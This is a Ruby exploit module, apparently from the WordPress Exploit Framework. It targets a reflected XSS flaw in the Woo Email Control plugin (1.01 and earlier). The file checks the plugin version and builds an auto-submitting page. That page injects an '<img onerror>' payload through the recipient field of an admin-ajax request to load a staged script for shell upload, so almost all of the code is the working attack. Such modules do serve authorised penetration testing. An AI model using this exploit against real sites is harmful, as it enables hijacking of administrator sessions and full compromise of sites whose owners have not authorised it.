# frozen_string_literal: true

class Wpxf::Exploit::WooEmailControlReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Woo Email Control <= 1.01 Reflected XSS Shell Upload',
      author: [
        'rastating'  # Disclosure + WPXF module
      ],
      references: [
        ['WPVDB', '8559'],
        ['URL', 'http://blog.rastating.com/woo-email-control-1-01-reflected-xss-disclosure']
      ],
      date: 'Jul 18 2016'
    )
  end

  def check
    check_plugin_version_from_changelog('woo-email-control', 'readme.txt', '1.02')
  end

  def vulnerable_url
    wordpress_url_admin_ajax
  end

  def initial_script
    %|<html><head></head><body><script>
      #{js_post}
      post('#{vulnerable_url}', {
        action: 'wooctrl_send_test_email',
        email_class: 'WC_Email_Customer_New_Account',
        recipient: '#{Utility::Text.rand_email}<img src=x onerror=#{xss_ascii_encoded_include_script}>'
      });
    </script></body></html>
    |
  end
end
